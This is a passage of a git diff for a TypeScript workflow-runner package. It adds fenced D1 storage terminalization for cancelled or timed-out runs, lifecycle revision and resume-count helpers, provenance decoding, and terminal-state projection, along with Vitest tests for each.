'Start interrupted before a durable execution outcome was recorded; external effects may have occurred. This run will not be automatically re-executed.', + }, + }); + let cleanup: ReturnType; + const intent = lifecycle?.transitionIntent; + if (intent) { + if (hasDisputedSettlement(lifecycle)) + throw new RunLifecycleBlockedError({ + code: 'DISPUTED_SETTLEMENT', + message: + 'run termination is blocked while an economic operation is disputed', + }); + try { + const next = projectTerminalLifecycle( + lifecycle, + intent.status, + nowMs, + intent.replayPrincipals, + ); + nextContext[RUN_LIFECYCLE_CONTEXT_KEY] = next; + fields = { + ...terminalStateFields(intent.status), + error: { + name: + intent.status === 'cancelled' + ? 'RunCancelledError' + : 'RunTimedOutError', + message: next.terminal.error.message, + }, + }; + cleanup = terminalCleanupFor(next); + } catch (error) { + throw terminalizationUnreadable(error); + } + } + const replacement = Object.freeze({ + ...expected, + updatedAt: nowIso, + snapshot: JSON.stringify({ + ...parsed.snapshot, + ...fields, + requestContext: nextContext, + timestamp: nowMs, + }), }); + return { expected, replacement, provenance, cleanup }; } -/** Owned initial INSERT only; all unscoped persistence delegates to the adapter. */ +/** Owned initial admission and repair; unscoped persistence delegates to the adapter. */ export class FencedWorkflowsStorageD1 extends WorkflowsStorageD1 { readonly [FENCED_WORKFLOW_STORAGE]?: FencedWorkflowAdmissionCapability; readonly #admission?: FencedWorkflowAdmissionCapability; @@ -460,11 +670,111 @@ export class FencedWorkflowsStorageD1 extends WorkflowsStorageD1 { }, { missingTable: 'empty' }, ), + terminalizeInitialAdmission: (request: InitialTerminalizationRequest) => + this.#terminalizeInitialAdmission(request), }); this[FENCED_WORKFLOW_STORAGE] = this.#admission; } } + protected withInitialTerminalizationLock( + _workflowName: string, + _runId: string, + operation: () => Promise, + ): Promise { + return operation(); + } + + async #terminalizeInitialAdmission( + source: InitialTerminalizationRequest, + ): Promise { + const capability = this.#admission; + if (!capability) throw new InvalidExecutionIdentityError('admission'); + const frame = prepareTerminalization(source, capability.tablePrefix); + const { expected, replacement, cleanup, provenance } = frame; + const { database } = capability; + return this.withInitialTerminalizationLock( + expected.workflowId, + expected.runId, + async () => { + const readback = async (): Promise => { + const row = await readRawWorkflowSnapshot(database, expected, { + missingTable: 'error', + }); + if (!row) return { kind: 'conflict' }; + if (sameFields({ ...row }, { ...replacement })) + return { + kind: 'already-terminalized', + row, + ...(cleanup ? { cleanup } : {}), + }; + const current = terminalizationSnapshot(row); + if ( + current.provenance && + sameStart(current.provenance, provenance) && + current.snapshot.status !== 'pending' + ) { + const currentCleanup = terminalCleanupFor(current.lifecycle); + return { + kind: 'progressed', + row, + ...(currentCleanup ? { cleanup: currentCleanup } : {}), + }; + } + return { kind: 'conflict', row }; + }; + let result: unknown; + try { + result = await database + .prepare(`UPDATE "${expected.tablePrefix}mastra_workflow_snapshot" + SET snapshot = ?1, updatedAt = ?2 + WHERE workflow_name = ?3 AND run_id = ?4 + AND snapshot = ?5 AND createdAt IS ?6 AND updatedAt IS ?7 + AND resourceId IS ?8 + RETURNING workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt`) + .bind( + replacement.snapshot, + replacement.updatedAt, + expected.workflowId, + expected.runId, + expected.snapshot, + expected.createdAt, + expected.updatedAt, + expected.resourceId, + ) + .all(); + } catch (error) { + try { + const recovered = await readback(); + if (recovered.kind !== 'conflict') return recovered; + } catch { + /* The write's original uncertainty remains authoritative. */ + } + throw terminalizationUnreadable(error); + } + try { + const captured = captureStatementResult(result); + const row = decodeRawWorkflowSnapshotResult(captured, expected); + const changes = captured.meta?.changes; + if ( + captured.meta && + (!Number.isSafeInteger(changes) || + changes !== captured.results.length) + ) + throw new Error( + 'terminalization changes disagree with returned rows', + ); + if (!row) return await readback(); + if (!sameFields({ ...row }, { ...replacement })) + throw new Error('terminalization returned a different row'); + return { kind: 'terminalized', row, ...(cleanup ? { cleanup } : {}) }; + } catch (error) { + throw terminalizationUnreadable(error); + } + }, + ); + } + async #withInitialAdmission( source: InitialRunAdmission, createRun: () => Promise, @@ -567,11 +877,7 @@ export class FencedWorkflowsStorageD1 extends WorkflowsStorageD1 { const bytes = JSON.stringify(snapshot); const serialized = record(JSON.parse(bytes)); assertInitialSnapshot(serialized, input.execution.runId); - if ( - serialized.status !== 'pending' || - serialized.runId !== input.execution.runId || - JSON.stringify(serialized.requestContext) !== contextBytes - ) + if (JSON.stringify(serialized.requestContext) !== contextBytes) throw new InvalidExecutionIdentityError('admission'); const serializedContext = record(serialized.requestContext); decodeInitialRunProvenance(serializedContext[PROVENANCE], 'present'); diff --git a/packages/flowsafe/src/do-runner/index.ts b/packages/flowsafe/src/do-runner/index.ts index e1a0adcd..10eb64a6 100644 --- a/packages/flowsafe/src/do-runner/index.ts +++ b/packages/flowsafe/src/do-runner/index.ts @@ -167,6 +167,8 @@ export { type InitialAdmissionDatabase, type InitialAdmissionWitness, type InitialRunAdmission, + type InitialTerminalizationRequest, + type InitialTerminalizationResult, } from './fenced-workflow-capability.js'; export { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js'; export type { HubStreamEvent, PresenceMember } from './hub-do.js'; @@ -222,6 +224,7 @@ export type { RunEconomicOperation, RunLifecyclePrincipal, RunScheduleDispatch, + RunTerminalCleanup, RunTerminalErrorEnvelope, RunTerminalStatus, } from './run-lifecycle.js'; diff --git a/packages/flowsafe/src/do-runner/run-lifecycle.test.ts b/packages/flowsafe/src/do-runner/run-lifecycle.test.ts new file mode 100644 index 00000000..dc17d3dd --- /dev/null +++ b/packages/flowsafe/src/do-runner/run-lifecycle.test.ts @@ -0,0 +1,339 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { + canonicalEconomicOperations, + canonicalReplayPrincipals, + canonicalScheduleDispatch, + hasDisputedSettlement, + lifecycleFromRequestContext, + nextLifecycleRevision, + parseRunLifecycle, + projectTerminalLifecycle, + RUN_LIFECYCLE_CONTEXT_KEY, + RunLifecycleBlockedError, + type RunLifecycleBlockedReason, + type RunLifecycleState, + type RunTerminalStatus, + terminalCleanupFor, +} from './run-lifecycle.js'; + +const MAX_REVISION = Number.MAX_SAFE_INTEGER; + +function recordedIntent( + status: RunTerminalStatus, + revision = 7, +): RunLifecycleState & { + transitionIntent: NonNullable; +} { + return { + version: 1, + revision, + deadlineAt: 0, + economicOperations: [ + { id: 'operation-1', settlementState: 'settled' }, + { id: 'operation-2', settlementState: 'awaiting-receipt' }, + ], + scheduleDispatch: { scheduleId: 'schedule-1', dispatchId: 'dispatch-1' }, + transitionIntent: { + status, + requestedAt: 100, + replayPrincipals: [ + { kind: 'human', id: 'original-owner' }, + { kind: 'system', id: 'deadline-worker' }, + ], + expectedRevision: revision, + expectedDeadlineAt: 0, + }, + }; +} + +describe('projectTerminalLifecycle', () => { + it.each([ + ['cancelled', { code: 'CANCELLED', message: 'run was cancelled' }], + ['timed_out', { code: 'TIMED_OUT', message: 'run deadline expired' }], + ] as const)('projects recorded %s intent, preserving principals and lifecycle metadata', (status, error) => { + const lifecycle = recordedIntent(status); + const before = structuredClone(lifecycle); + const { transitionIntent, ...base } = lifecycle; + const principals = canonicalReplayPrincipals( + transitionIntent.replayPrincipals, + ); + const projected = projectTerminalLifecycle( + lifecycle, + status, + 0, + principals, + ); + expect(projected).toStrictEqual({ + ...base, + revision: 8, + terminal: { + status, + error, + transitionedAt: 0, + replayPrincipals: [ + { kind: 'human', id: 'original-owner' }, + { kind: 'system', id: 'deadline-worker' }, + ], + }, + }); + expect(projected).not.toHaveProperty('transitionIntent'); + expect(projected.terminal).not.toHaveProperty('cleanupCompletedAt'); + expect(parseRunLifecycle(projected)).toStrictEqual(projected); + expect(lifecycle).toStrictEqual(before); + expect(terminalCleanupFor(projected)).toStrictEqual({ + revision: 8, + status, + cleanupCompleted: false, + scheduleDispatch: { scheduleId: 'schedule-1', dispatchId: 'dispatch-1' }, + }); + }); + + it('starts absent lifecycle metadata at revision one with the supplied principal', () => { + const principals = canonicalReplayPrincipals([ + { kind: 'service', id: 'service-runner' }, + ]); + const projected = projectTerminalLifecycle( + undefined, + 'cancelled', + 50, + principals, + ); + expect(projected).toStrictEqual({ + version: 1, + revision: 1, + terminal: { + status: 'cancelled', + error: { code: 'CANCELLED', message: 'run was cancelled' }, + transitionedAt: 50, + replayPrincipals: [{ kind: 'service', id: 'service-runner' }], + }, + }); + expect(terminalCleanupFor(projected)).toStrictEqual({ + revision: 1, + status: 'cancelled', + cleanupCompleted: false, + }); + }); + + it('advances MAX minus one exactly to a still-readable MAX revision', () => { + const lifecycle = recordedIntent('timed_out', MAX_REVISION - 1); + const projected = projectTerminalLifecycle( + lifecycle, + 'timed_out', + 20, + canonicalReplayPrincipals(lifecycle.transitionIntent.replayPrincipals), + ); + expect(projected.revision).toBe(MAX_REVISION); + expect(parseRunLifecycle(projected)).toStrictEqual(projected); + expect(terminalCleanupFor(projected)?.revision).toBe(MAX_REVISION); + expect(lifecycle.revision).toBe(MAX_REVISION - 1); + }); + + it.each([ + 'cancelled', + 'timed_out', + ] as const)('refuses exhausted %s projection without changing readable stored intent', (status) => { + const lifecycle = recordedIntent(status, MAX_REVISION); + const before = structuredClone(lifecycle); + expect(parseRunLifecycle(lifecycle)).toStrictEqual(lifecycle); + expect(() => + projectTerminalLifecycle( + lifecycle, + status, + 200, + canonicalReplayPrincipals(lifecycle.transitionIntent.replayPrincipals), + ), + ).toThrowError('run lifecycle revision cannot advance'); + expect(lifecycle).toStrictEqual(before); + expect(parseRunLifecycle(lifecycle)).toStrictEqual(before); + expect(terminalCleanupFor(lifecycle)).toBeUndefined(); + }); +}); + +describe('terminalCleanupFor', () => { + it('returns no cleanup for absent lifecycle or a nonterminal recorded intent', () => { + expect(terminalCleanupFor(undefined)).toBeUndefined(); + expect( + terminalCleanupFor({ version: 1, revision: MAX_REVISION }), + ).toBeUndefined(); + expect( + terminalCleanupFor(recordedIntent('cancelled', MAX_REVISION)), + ).toBeUndefined(); + }); + + it.each([ + 'cancelled', + 'timed_out', + ] as const)('keeps the current %s terminal revision and exact dispatch without incrementing', (status) => { + const lifecycle = projectTerminalLifecycle( + recordedIntent(status, MAX_REVISION - 1), + status, + 100, + canonicalReplayPrincipals([{ kind: 'agent', id: 'agent-runner' }]), + ); + const before = structuredClone(lifecycle); + const expected = { + revision: MAX_REVISION, + status, + cleanupCompleted: false, + scheduleDispatch: { scheduleId: 'schedule-1', dispatchId: 'dispatch-1' }, + }; + expect(terminalCleanupFor(lifecycle)).toStrictEqual(expected); + expect(terminalCleanupFor(lifecycle)).toStrictEqual(expected); + expect(lifecycle).toStrictEqual(before); + }); + + it.each([ + ['cancelled', 0], + ['timed_out', 0], + ['cancelled', 500], + ['timed_out', 500], + ['cancelled', Number.MAX_SAFE_INTEGER], + ['timed_out', Number.MAX_SAFE_INTEGER], + ] as const)('recognizes %s completion timestamp %s without a revision write', (status, cleanupCompletedAt) => { + const lifecycle: RunLifecycleState = { + version: 1, + revision: MAX_REVISION, + terminal: { + status, + error: + status === 'cancelled' + ? { code: 'CANCELLED', message: 'run was cancelled' } + : { code: 'TIMED_OUT', message: 'run deadline expired' }, + transitionedAt: 0, + replayPrincipals: [{ kind: 'human', id: 'original-owner' }], + cleanupCompletedAt, + }, + }; + const before = structuredClone(lifecycle); + expect(parseRunLifecycle(lifecycle)).toStrictEqual(lifecycle); + expect(terminalCleanupFor(lifecycle)).toStrictEqual({ + revision: MAX_REVISION, + status, + cleanupCompleted: true, + }); + expect(lifecycle).toStrictEqual(before); + }); +}); + +describe('nextLifecycleRevision', () => { + it.each([ + [0, 1], + [1, 2], + [23, 24], + [MAX_REVISION - 1, MAX_REVISION], + ])('advances %s exactly to %s', (current, expected) => { + expect(nextLifecycleRevision(current)).toBe(expected); + }); + + it.each([ + MAX_REVISION, + MAX_REVISION + 1, + -1, + -0.5, + 0.5, + Number.NaN, + Number.POSITIVE_INFINITY, + Number.NEGATIVE_INFINITY, + ])('rejects invalid or exhausted revision %s before arithmetic', (revision) => { + expect(() => nextLifecycleRevision(revision)).toThrowError( + 'run lifecycle revision cannot advance', + ); + }); + + it('keeps exhaustion a plain internal error rather than disputed settlement', () => { + try { + nextLifecycleRevision(MAX_REVISION); + throw new Error('expected exhaustion'); + } catch (error) { + expect(error).toBeInstanceOf(Error); + expect((error as Error).constructor).toBe(Error); + expect((error as Error).message).toBe( + 'run lifecycle revision cannot advance', + ); + expect(error).not.toHaveProperty('reason'); + } + }); + + it('does not narrow the existing persisted revision boundary', () => { + expect( + parseRunLifecycle({ version: 1, revision: MAX_REVISION }), + ).toStrictEqual({ + version: 1, + revision: MAX_REVISION, + }); + expect(() => parseRunLifecycle({ version: 1, revision: 0 })).toThrowError( + 'stored run lifecycle is malformed', + ); + }); +}); + +describe('lifecycle metadata compatibility', () => { + it('canonicalizes principals by kind and id without changing their first order', () => { + const principals = [ + { kind: 'human' as const, id: 'same-id' }, + { kind: 'system' as const, id: 'same-id' }, + { kind: 'human' as const, id: 'same-id' }, + ]; + expect(canonicalReplayPrincipals(principals)).toStrictEqual([ + { kind: 'human', id: 'same-id' }, + { kind: 'system', id: 'same-id' }, + ]); + expect(principals).toHaveLength(3); + }); + + it('preserves schedule and host-defined economic metadata through the existing codecs', () => { + const lifecycle = recordedIntent('timed_out'); + expect( + canonicalEconomicOperations(lifecycle.economicOperations), + ).toStrictEqual(lifecycle.economicOperations); + expect(canonicalScheduleDispatch(lifecycle.scheduleDispatch)).toStrictEqual( + lifecycle.scheduleDispatch, + ); + expect( + lifecycleFromRequestContext({ + unrelated: 'untouched', + [RUN_LIFECYCLE_CONTEXT_KEY]: lifecycle, + }), + ).toStrictEqual(lifecycle); + expect(lifecycleFromRequestContext(undefined)).toBeUndefined(); + expect(canonicalEconomicOperations(undefined)).toBeUndefined(); + expect(canonicalScheduleDispatch(undefined)).toBeUndefined(); + }); + + it('continues to interpret only the exact disputed settlement state', () => { + const lifecycle: RunLifecycleState = { + version: 1, + revision: MAX_REVISION, + economicOperations: [{ id: 'operation-1', settlementState: 'disputed' }], + }; + expect(hasDisputedSettlement(undefined)).toBe(false); + expect(hasDisputedSettlement(recordedIntent('cancelled'))).toBe(false); + expect(hasDisputedSettlement(lifecycle)).toBe(true); + expect( + hasDisputedSettlement({ + ...lifecycle, + economicOperations: [ + { id: 'operation-1', settlementState: 'DISPUTED' }, + ], + }), + ).toBe(false); + expect(parseRunLifecycle(lifecycle)).toStrictEqual(lifecycle); + }); + + it('preserves the moved blocked error name, message and reason object', () => { + const reason: RunLifecycleBlockedReason = { + code: 'DISPUTED_SETTLEMENT', + message: + 'run termination is blocked while an economic operation is disputed', + }; + const error = new RunLifecycleBlockedError(reason); + expect(error).toBeInstanceOf(Error); + expect(error.name).toBe('RunLifecycleBlockedError'); + expect(error.message).toBe(reason.message); + expect(error.reason).toBe(reason); + expect(error).not.toHaveProperty('status'); + }); +}); diff --git a/packages/flowsafe/src/do-runner/run-lifecycle.ts b/packages/flowsafe/src/do-runner/run-lifecycle.ts index d40c684a..8d228dd6 100644 --- a/packages/flowsafe/src/do-runner/run-lifecycle.ts +++ b/packages/flowsafe/src/do-runner/run-lifecycle.ts @@ -4,7 +4,7 @@ import { type ExecutionPrincipalKind, isExecutionPrincipalId, isExecutionPrincipalKind, -} from '../approval-api/principal.js'; +} from '../approval-api/principal-identity.js'; import { isPathSafeId } from './path-safe-id.js'; /** Runtime-owned request-context key for durable run lifecycle metadata. */ @@ -17,6 +17,28 @@ export interface RunTerminalErrorEnvelope { message: string; } +export interface RunLifecycleBlockedReason { + code: 'DISPUTED_SETTLEMENT'; + message: string; +} + +export class RunLifecycleBlockedError extends Error { + readonly reason: RunLifecycleBlockedReason; + + constructor(reason: RunLifecycleBlockedReason) { + super(reason.message); + this.name = 'RunLifecycleBlockedError'; + this.reason = reason; + } +} + +export interface RunTerminalCleanup { + revision: number; + status: RunTerminalStatus; + cleanupCompleted: boolean; + scheduleDispatch?: RunScheduleDispatch; +} + /** * Trusted settlement projection supplied by an economic-operation host. * Flowsafe only interprets `disputed`; every other state remains host-defined. @@ -62,6 +84,61 @@ export interface RunLifecycleState { }; } +export function nextLifecycleRevision(current: number): number { + if ( + !Number.isSafeInteger(current) || + current < 0 || + current === Number.MAX_SAFE_INTEGER + ) + throw new Error('run lifecycle revision cannot advance'); + return current + 1; +} + +export function terminalCleanupFor( + lifecycle: RunLifecycleState | undefined, +): RunTerminalCleanup | undefined { + const terminal = lifecycle?.terminal; + if (!lifecycle || !terminal) return undefined; + return { + revision: lifecycle.revision, + status: terminal.status, + cleanupCompleted: terminal.cleanupCompletedAt !== undefined, + ...(lifecycle.scheduleDispatch + ? { scheduleDispatch: lifecycle.scheduleDispatch } + : {}), + }; +} + +export function projectTerminalLifecycle( + lifecycle: RunLifecycleState | undefined, + status: RunTerminalStatus, + nowMs: number, + replayPrincipals: RunLifecyclePrincipal[], +): RunLifecycleState & { + terminal: NonNullable; +} { + const base = lifecycle + ? Object.fromEntries( + Object.entries(lifecycle).filter(([key]) => key !== 'transitionIntent'), + ) + : { version: 1 as const, revision: 0 }; + return { + ...base, + version: 1, + revision: nextLifecycleRevision(lifecycle?.revision ?? 0), + terminal: { + status, + error: { + code: status === 'cancelled' ? 'CANCELLED' : 'TIMED_OUT', + message: + status === 'cancelled' ? 'run was cancelled' : 'run deadline expired', + }, + transitionedAt: nowMs, + replayPrincipals, + }, + }; +} + function record(value: unknown): Record | undefined { return value !== null && typeof value === 'object' && !Array.isArray(value) ? (value as Record) diff --git a/packages/flowsafe/src/do-runner/run-provenance.test.ts b/packages/flowsafe/src/do-runner/run-provenance.test.ts index b6733ddd..4036ea36 100644 --- a/packages/flowsafe/src/do-runner/run-provenance.test.ts +++ b/packages/flowsafe/src/do-runner/run-provenance.test.ts @@ -4,7 +4,10 @@ import { describe, expect, it } from 'vitest'; import { ExecutionFenceUnreadableError } from './execution-admission.js'; import { decodeInitialRunProvenance, + decodeProgressRunProvenance, + decodeResumeCounts, decodeRunStartIdentity, + nextResumeCount, runExecutionIdentityFor, } from './run-provenance.js'; @@ -23,6 +26,64 @@ const INITIAL = { }; describe('run provenance', () => { + it('reads genuine progress without confusing a retained marker with unchanged initial state', () => { + const progressed = { + ...INITIAL, + initialAdmission: true, + requestedBy: 'Bob', + attemptToken: 'resume', + resumeCounts: [['gate', Number.MAX_SAFE_INTEGER]], + mutationEpoch: 0, + }; + expect(decodeProgressRunProvenance(progressed)).toEqual(progressed); + expect(() => decodeInitialRunProvenance(progressed, 'present')).toThrow( + ExecutionFenceUnreadableError, + ); + expect(decodeProgressRunProvenance(INITIAL)).toEqual(INITIAL); + expect(decodeResumeCounts([['', Number.MAX_SAFE_INTEGER]])).toEqual([ + ['', Number.MAX_SAFE_INTEGER], + ]); + }); + it.each([ + 0, + 1, + Number.MAX_SAFE_INTEGER - 1, + ])('advances resume count %s exactly once', (value) => { + expect(nextResumeCount(value)).toBe(value + 1); + }); + it.each([ + Number.MAX_SAFE_INTEGER, + Number.MAX_SAFE_INTEGER + 1, + -1, + NaN, + Infinity, + 0.5, + ])('refuses exhausted or invalid resume count %s', (value) => { + expect(() => nextResumeCount(value)).toThrow( + 'run resume count cannot advance', + ); + }); + it.each([ + undefined, + null, + [], + [['gate', 0]], + [['gate', -1]], + [['gate', Infinity]], + [['gate', 1.5]], + [['gate', Number.MAX_SAFE_INTEGER + 1]], + [['gate']], + [[1, 1]], + ])('keeps progress counts strict %#', (resumeCounts) => { + if (Array.isArray(resumeCounts) && resumeCounts.length === 0) { + expect( + decodeProgressRunProvenance({ ...INITIAL, resumeCounts }).resumeCounts, + ).toEqual([]); + } else + expect(() => + decodeProgressRunProvenance({ ...INITIAL, resumeCounts }), + ).toThrow(ExecutionFenceUnreadableError); + }); it('reads inherited and pruned provenance without inventing root authority', () => { const decoded = decodeRunStartIdentity(INITIAL); expect(decoded).toEqual({ diff --git a/packages/flowsafe/src/do-runner/run-provenance.ts b/packages/flowsafe/src/do-runner/run-provenance.ts index 6952003c..f8eb8baa 100644 --- a/packages/flowsafe/src/do-runner/run-provenance.ts +++ b/packages/flowsafe/src/do-runner/run-provenance.ts @@ -31,6 +31,89 @@ export interface InitialRunProvenance extends DecodedRunStartIdentity { readonly initialAdmission?: true; } +export interface ProgressRunProvenance extends DecodedRunStartIdentity { + readonly attemptToken: string; + readonly requestedBy?: string; + readonly requestedByKind?: ExecutionPrincipalKind; + readonly resumeCounts: Array<[string, number]>; + readonly mutationEpoch?: number; + readonly initialAdmission?: true; +} + +export function nextResumeCount(current: number): number { + if ( + !Number.isSafeInteger(current) || + current < 0 || + current === Number.MAX_SAFE_INTEGER + ) + throw new Error('run resume count cannot advance'); + return current + 1; +} + +export function decodeResumeCounts(value: unknown): Array<[string, number]> { + if (!Array.isArray(value)) + throw new Error('stored run provenance is malformed'); + const counts: Array<[string, number]> = []; + for (const entry of value) { + if ( + !Array.isArray(entry) || + entry.length !== 2 || + typeof entry[0] !== 'string' || + !Number.isSafeInteger(entry[1]) || + entry[1] < 1 + ) + throw new Error('stored run provenance is malformed'); + counts.push([entry[0], entry[1]]); + } + return counts; +} + +export function decodeProgressRunProvenance( + value: unknown, +): ProgressRunProvenance { + try { + const row = provenanceObject(value); + const { + version, + attemptToken, + requestedBy, + requestedByKind, + resumeCounts, + mutationEpoch: rawEpoch, + initialAdmission, + } = row; + if ( + version !== 2 || + !isPathSafeId(attemptToken) || + (initialAdmission !== undefined && initialAdmission !== true) || + ((requestedBy !== undefined || requestedByKind !== undefined) && + (!isExecutionPrincipalId(requestedBy) || + !isExecutionPrincipalKind(requestedByKind))) + ) + throw new Error('run provenance is malformed'); + const start = startIdentityFromObject(row); + const counts = decodeResumeCounts(resumeCounts); + const mutationEpoch = normalizeMutationEpoch(rawEpoch); + return { + ...start, + attemptToken, + ...(requestedBy === undefined + ? {} + : { + requestedBy: requestedBy as string, + requestedByKind: requestedByKind as ExecutionPrincipalKind, + }), + resumeCounts: counts, + ...(mutationEpoch === undefined ? {} : { mutationEpoch }), + ...(initialAdmission === undefined ? {} : { initialAdmission: true }), + }; + } catch (error) { + throw new ExecutionFenceUnreadableError('run provenance is not readable', { + cause: error, + }); + } +} + function provenanceObject(value: unknown): Record { if (value === null || typeof value !== 'object' || Array.isArray(value)) throw new Error('run provenance must be an object'); diff --git a/packages/flowsafe/src/do-runner/run-terminal-state.test.ts b/packages/flowsafe/src/do-runner/run-terminal-state.test.ts new file mode 100644 index 00000000..25170b4b --- /dev/null +++ b/packages/flowsafe/src/do-runner/run-terminal-state.test.ts @@ -0,0 +1,274 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { WorkflowRunStatus } from '@mastra/core/workflows'; +import { describe, expect, it } from 'vitest'; +import { + type CoreRunResult, + errorText, + isRunStatus, + type RunStatus, + terminalStateFields, + terminalStateUpdate, +} from './run-terminal-state.js'; + +const CLEARED_FIELDS = { + result: undefined, + error: undefined, + suspendedPaths: {}, + waitingPaths: {}, + resumeLabels: {}, + activePaths: [], + activeStepsPath: {}, +}; + +const CORE_RESULTS = { + running: { status: 'running' }, + success: { status: 'success', result: { completed: true } }, + failed: { status: 'failed', error: 'step failed' }, + tripwire: { status: 'tripwire', tripwire: { reason: 'stop here' } }, + suspended: { + status: 'suspended', + suspended: [['approval']], + suspendPayload: { reason: 'review' }, + }, + waiting: { status: 'waiting' }, + pending: { status: 'pending' }, + canceled: { status: 'canceled' }, + bailed: { status: 'bailed' }, + paused: { status: 'paused' }, + skipped: { status: 'skipped' }, +} satisfies Record; + +const RUN_STATUSES = { + running: true, + success: true, + failed: true, + tripwire: true, + suspended: true, + waiting: true, + pending: true, + canceled: true, + bailed: true, + paused: true, + skipped: true, + waiting_callback: true, + waiting_signal: true, + retry_wait: true, + cancelled: true, + timed_out: true, +} satisfies Record; + +describe('isRunStatus', () => { + it.each( + Object.keys(RUN_STATUSES), + )('recognizes existing status %s', (status) => { + expect(isRunStatus(status)).toBe(true); + }); + + it.each([ + undefined, + null, + false, + 0, + {}, + [], + { status: 'running' }, + '', + 'completed', + 'error', + 'RUNNING', + ' running', + ])('rejects a value outside the existing status union: %j', (value) => { + expect(isRunStatus(value)).toBe(false); + }); +}); + +describe('terminalStateFields', () => { + it.each( + Object.keys(RUN_STATUSES) as RunStatus[], + )('keeps %s and explicitly clears every common terminal field', (status) => { + expect(terminalStateFields(status)).toStrictEqual({ + status, + ...CLEARED_FIELDS, + }); + }); + + it('does not share mutable control-path containers between projections', () => { + const first = terminalStateFields('cancelled'); + const second = terminalStateFields('timed_out'); + for (const field of [ + 'suspendedPaths', + 'waitingPaths', + 'resumeLabels', + 'activePaths', + 'activeStepsPath', + ] as const) { + expect(first[field]).not.toBe(second[field]); + } + }); +}); + +describe('terminalStateUpdate', () => { + it.each([ + 'running', + 'suspended', + 'waiting', + 'pending', + 'paused', + ] as const)('does not overwrite the existing nonterminal %s state', (status) => { + const result = CORE_RESULTS[status]; + const before = structuredClone(result); + expect(terminalStateUpdate(result)).toBeUndefined(); + expect(result).toStrictEqual(before); + }); + + it.each([ + 'tripwire', + 'canceled', + 'bailed', + 'skipped', + ] as const)('preserves the existing common-only %s projection', (status) => { + expect(terminalStateUpdate(CORE_RESULTS[status])).toStrictEqual({ + status, + ...CLEARED_FIELDS, + }); + }); + + it.each([ + [undefined], + [null], + [false], + [0], + ['done'], + [[1, 2]], + [{ completed: true }], + ])('preserves the successful result without coercion: %j', (result) => { + const update = terminalStateUpdate({ status: 'success', result }); + expect(update).toStrictEqual({ + status: 'success', + ...CLEARED_FIELDS, + result, + }); + expect(update?.result).toBe(result); + }); + + it('preserves an Error name, message and stack without its other fields', () => { + const error = new Error('connector failed', { cause: new Error('cause') }); + error.name = 'ConnectorError'; + error.stack = 'ConnectorError: connector failed\n at step'; + expect(terminalStateUpdate({ status: 'failed', error })).toStrictEqual({ + status: 'failed', + ...CLEARED_FIELDS, + error: { + name: 'ConnectorError', + message: 'connector failed', + stack: 'ConnectorError: connector failed\n at step', + }, + }); + expect(error.cause).toBeInstanceOf(Error); + }); + + it.each([ + ['plain failure', { name: 'Error', message: 'plain failure' }], + [null, { name: 'Error', message: 'null' }], + [undefined, { name: 'Error', message: 'undefined' }], + [17, { name: 'Error', message: '17' }], + [ + { + name: 'SerializedError', + message: 'stored failure', + stack: 'stored stack', + detail: 'not projected', + }, + { + name: 'SerializedError', + message: 'stored failure', + stack: 'stored stack', + }, + ], + [ + { name: '', message: '', stack: '' }, + { name: '', message: '', stack: '' }, + ], + [ + { name: 3, message: 'only message', stack: false }, + { name: 'Error', message: 'only message' }, + ], + [ + { name: 'NamedError', message: 3, stack: 8 }, + { name: 'NamedError', message: '[object Object]' }, + ], + ])('keeps the existing serialized failure projection: %j', (error, expected) => { + expect(terminalStateUpdate({ status: 'failed', error })).toStrictEqual({ + status: 'failed', + ...CLEARED_FIELDS, + error: expected, + }); + }); + + it('retains supported inherited serialized error fields', () => { + const error: unknown = Object.create({ + name: 'InheritedError', + message: 'inherited failure', + stack: 'inherited stack', + }); + expect(terminalStateUpdate({ status: 'failed', error })).toStrictEqual({ + status: 'failed', + ...CLEARED_FIELDS, + error: { + name: 'InheritedError', + message: 'inherited failure', + stack: 'inherited stack', + }, + }); + }); + + it('projects the fixed unknown-effects failure without inventing a stack', () => { + const error = { + name: 'StartOutcomeUnknown', + message: + 'Start interrupted before a durable execution outcome was recorded; external effects may have occurred. This run will not be automatically re-executed.', + }; + expect(terminalStateUpdate({ status: 'failed', error })).toStrictEqual({ + status: 'failed', + ...CLEARED_FIELDS, + error: { + name: 'StartOutcomeUnknown', + message: + 'Start interrupted before a durable execution outcome was recorded; external effects may have occurred. This run will not be automatically re-executed.', + }, + }); + expect(error).not.toHaveProperty('stack'); + }); +}); + +describe('errorText', () => { + it.each([ + [new Error('native failure'), 'native failure'], + [new Error(''), ''], + ['string failure', 'string failure'], + ['', ''], + [{ message: 'serialized failure' }, 'serialized failure'], + [{ message: '' }, ''], + [null, 'null'], + [undefined, 'undefined'], + [false, 'false'], + [42, '42'], + [Symbol('failure'), 'Symbol(failure)'], + [{ message: 42 }, '[object Object]'], + [{ message: 42, toString: () => 'custom fallback' }, 'custom fallback'], + ])('preserves the existing error text for %j', (error, expected) => { + expect(errorText(error)).toBe(expected); + }); + + it('preserves a fault from the existing fallback conversion', () => { + const fault = new Error('conversion failed'); + expect(() => + errorText({ + toString: () => { + throw fault; + }, + }), + ).toThrow(fault); + }); +}); diff --git a/packages/flowsafe/src/do-runner/run-terminal-state.ts b/packages/flowsafe/src/do-runner/run-terminal-state.ts new file mode 100644 index 00000000..f740f5ab --- /dev/null +++ b/packages/flowsafe/src/do-runner/run-terminal-state.ts @@ -0,0 +1,133 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { UpdateWorkflowStateOptions } from '@mastra/core/storage'; +import type { WorkflowRunStatus, WorkflowState } from '@mastra/core/workflows'; +import type { RunTerminalStatus } from './run-lifecycle.js'; + +export type RunStatus = + | WorkflowRunStatus + | 'waiting_callback' + | 'waiting_signal' + | 'retry_wait' + | RunTerminalStatus; + +export type CoreRunResult = + | { status: 'success'; result: unknown } + | { status: 'failed'; error: unknown } + | { + status: 'suspended'; + suspended: [string[], ...string[][]]; + suspendPayload?: unknown; + steps?: WorkflowState['steps']; + } + | { status: 'tripwire'; tripwire: { reason: string } } + | { + status: Exclude< + WorkflowRunStatus, + 'success' | 'failed' | 'suspended' | 'tripwire' + >; + }; + +const RUN_STATUSES = { + running: true, + success: true, + failed: true, + tripwire: true, + suspended: true, + waiting: true, + pending: true, + canceled: true, + bailed: true, + paused: true, + skipped: true, + waiting_callback: true, + waiting_signal: true, + retry_wait: true, + cancelled: true, + timed_out: true, +} satisfies Record; + +export function isRunStatus(value: unknown): 